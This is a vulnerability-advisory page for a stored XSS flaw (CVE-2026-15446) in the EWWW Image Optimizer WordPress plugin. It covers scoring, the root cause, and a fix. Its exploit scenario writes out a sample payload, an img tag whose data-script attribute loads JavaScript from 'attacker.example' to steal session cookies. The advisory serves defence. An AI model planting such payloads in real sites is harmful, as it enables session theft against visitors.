Skip to main content

EWWW Image Optimizer CVE-2026-15446

| EUVDEUVD-2026-62342 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-19 Wordfence GHSA-pc6p-pvrm-j4j5
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain or register contributor-level WordPress account
  2. Delivery
    Embed crafted img element with data-script in post content
  3. Exploit
    Victim user loads the injected page
  4. Install
    lazysizes ls.unveilhooks reads data-script attribute without validation
  5. C2
    Script element dynamically inserted into victim DOM
  6. Execute
    Attacker JavaScript executes in victim browser context
  7. Impact
    Exfiltrate session tokens or perform defacement

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to control at minimum a contributor-level WordPress account on the target site - this is the only meaningful prerequisite and the primary barrier to exploitation. The EWWW Image Optimizer lazy-load feature must be enabled (it is on by default after installation). The target site must be running plugin version 8.7.3 or earlier. Victim users do not need to take any specific action beyond browsing to the page containing the malicious post content - the payload fires passively on ordinary page load. Exploitation is strictly limited to client-side impact (JavaScript execution in the victim's browser); this vector does not provide server-side code execution or privilege escalation on the WordPress host. Sites that enforce strict contributor account vetting or disable public user registration substantially reduce their exposure, as credential acquisition is the only real barrier.

Impact

The provided CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, base 6.4) contains a metric inconsistency that should be verified with the vendor: the UI:N designation implies no user interaction is required, yet the vulnerability fires only when a victim navigates to the injected page - behavior CVSS 3.1 guidelines classify as UI:R. Correcting to UI:R reduces the base score to approximately 5.4, which more accurately reflects real-world exploitability. The contributor-level authentication prerequisite (PR:L) is the principal limiting factor; sites that allow open contributor registration face substantially elevated risk because that credential barrier is trivially removed. EPSS data was not provided, and the vulnerability does not appear in the CISA KEV catalog, so no confirmed active exploitation exists at time of analysis. SSVC alignment suggests a 'track' or 'attend' disposition: exploitation is technically feasible but not automatable at scale without first obtaining contributor credentials, and technical impact is client-side only with no server-side escalation path. The publicly visible patch commit exposes the exact exploit mechanic - embedding a data-script attribute on a lazyload-classed element - which modestly lowers the bar for targeted exploitation. Overall risk is genuine medium severity: real and reproducible impact, bounded by the authentication prerequisite.

Exploit ScenarioDerived

An attacker registers or compromises a contributor-level WordPress account on the target site and creates a post containing an img element such as <img class='lazyload' data-script='https://attacker.example/payload.js'>. Any visitor who subsequently loads that page triggers the lazysizes ls.unveilhooks addon, which injects a script tag loading the attacker's JavaScript, enabling session cookie theft, credential harvesting, or UI defacement in the victim's browser. No confirmed public proof-of-concept exists, but the fix commit makes the vulnerable code path and exploitation technique fully transparent to any reader.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Stored XSS in the EWWW Image Optimizer WordPress plugin (all versions through 8.7.3) lets authenticated attackers holding contributor-level accounts inject arbitrary JavaScript that executes silently in every subsequent visitor's browser. The exploit embeds a crafted img element with class='lazyload' and a data-script attribute pointing to an attacker-controlled URL in post content; the plugin's bundled lazysizes ls.unveilhooks addon then dynamically inserts a script element into the DOM at page-view time with no domain validation. No public exploit has been identified at time of analysis and the CVE is absent from the CISA KEV catalog, though the fix commit fully exposes the exploitation mechanic.

RemediationAI

The primary remediation is to update EWWW Image Optimizer to the version incorporating fix commit 4488aafaee9212db370a5ed2dcb9bad7912b897d (https://github.com/nosilver4u/ewww-image-optimizer/commit/4488aafaee9212db370a5ed2dcb9bad7912b897d), which adds a domain allowlist enforced both server-side via the eio_lazy_safe_domains WordPress filter and client-side via window.lazySizesConfig.safeDomains. The exact WordPress.org release version containing this fix is not confirmed in available data - the commit increments the internal version constant to 873.05 (potentially an interim build) - so administrators should verify the installed plugin version against the official changelog before considering the update complete. As an immediate compensating control, disabling the lazy-load feature in EWWW Image Optimizer settings eliminates the vulnerable code path entirely at the cost of losing lazy-loading performance benefits. Independently, restricting contributor-level account registration (Settings > General > Membership) removes the authentication prerequisite and is advisable regardless of patch status.

Affected VersionsENISA

EWWW Image Optimizer 0 ≤8.7.3

Affected Packages

euvd ewww_image_optimizer no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-79 (Stored XSS - Improper Neutralization of Input During Web Page Generation). The affected product is the EWWW Image Optimizer plugin by nosilver4u (CPE: cpe:2.3:a:nosilver4u:ewww_image_optimizer:*:*:*:*:*:*:*:*). The vulnerable component is the lazysizes ls.unveilhooks JavaScript addon bundled with the plugin. At lines L116 and L178 of includes/ls.unveilhooks.js, the addon listens for the lazybeforeunveil DOM event and, upon finding a data-script attribute on any class='lazyload' element, calls an internal createScript helper that constructs a new script DOM element whose src is set to the raw, unvalidated attribute value. The PHP-side code in classes/class-lazy-load.php (lines L496 and L1679) passes the data-script value through the lazy-load rewriting pipeline without sanitizing it, completing the server-to-client injection path. The fix in commit 4488aafaee9212db370a5ed2dcb9bad7912b897d introduces a WordPress filter (eio_lazy_safe_domains) exposing an allowed_domains array, serializes it to the frontend as eio_lazy_vars.safe_domains, and enforces a window.lazySizesConfig.safeDomains allowlist check in both the pre-compiled and minified lazysizes bundles before any script element is created.

Know when Ewww Image Optimizer gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Stored XSS fires on victim page-view (UI:R not UI:N); contributor credentials required (PR:L); scope changes to victim browser (S:C); no server availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The EWWW Image Optimizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'data-script' Lazy Load Attribute in Post Content in all versions up to, and including, 8.7.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit is achieved by embedding a crafted img element with class='lazyload' and a data-script attribute pointing to an attacker-controlled URL in post content, which the plugin's bundled lazysizes ls.unveilhooks addon then uses to dynamically create and insert a script element into the DOM at page view time.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
High
popular WordPress image-optimization plugin with broad production deployment
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
High
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy